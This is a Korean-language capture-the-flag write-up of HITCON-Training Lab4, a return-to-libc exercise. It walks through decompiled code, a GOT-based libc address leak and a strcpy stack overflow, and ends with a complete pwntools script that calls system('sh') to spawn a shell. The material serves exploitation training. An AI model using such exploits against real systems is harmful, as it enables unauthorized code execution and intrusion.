[HITCON-Training]Lab4

RTL문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  _DWORD *v8; // [esp+11Ch] [ebp-4h]
 
  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 10u);
  v8 = strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 256u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}

buf에 10진수로 printf의 got값을 넣어주면 See_something함수에서 그 주소가 leak된다.

leak된 printf로 libc base 구한 후 system address 구해주면 된다.

int __cdecl See_something(_DWORD *a1)
{
  return printf("The content of the address : %p\n", *a1);
}

read()함수에 넣은 src가 Print_message함수에 인자로 들어가서 strcpy에서 취약점이 발생한다.

int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h]
 
  strcpy(&dest, src);
  return printf("Your message is : %s", &dest);
}

payload = buf(0x38) + sfp(4) + ret(system) + pop + sh

이렇게 페이로드 구성해주면 쉘을 딸 수 있다.

.dynstr에서 sh위치 가져와서 system(“sh”);가 되게 했다.

from pwn import *
 
# context.log_level = 'debug'
e = ELF('./ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./ret2lib')
 
p.sendlineafter(':',str(e.got['printf']))
 
p.recvuntil(': ')
printf = int(p.recv(10),16)
libc_base = printf - libc.symbols['printf']
log.info('libc_base : ' + hex(libc_base))
system = libc_base + libc.symbols['system']
 
sh = 0x804829e # .dynstr -> fflush
popret = 0x08048399 # pop ebx ; ret
pay = 'A'*(0x38+4)
pay += p32(system)
pay += p32(popret)
pay += p32(sh)
 
p.sendlineafter(':',pay)
p.interactive()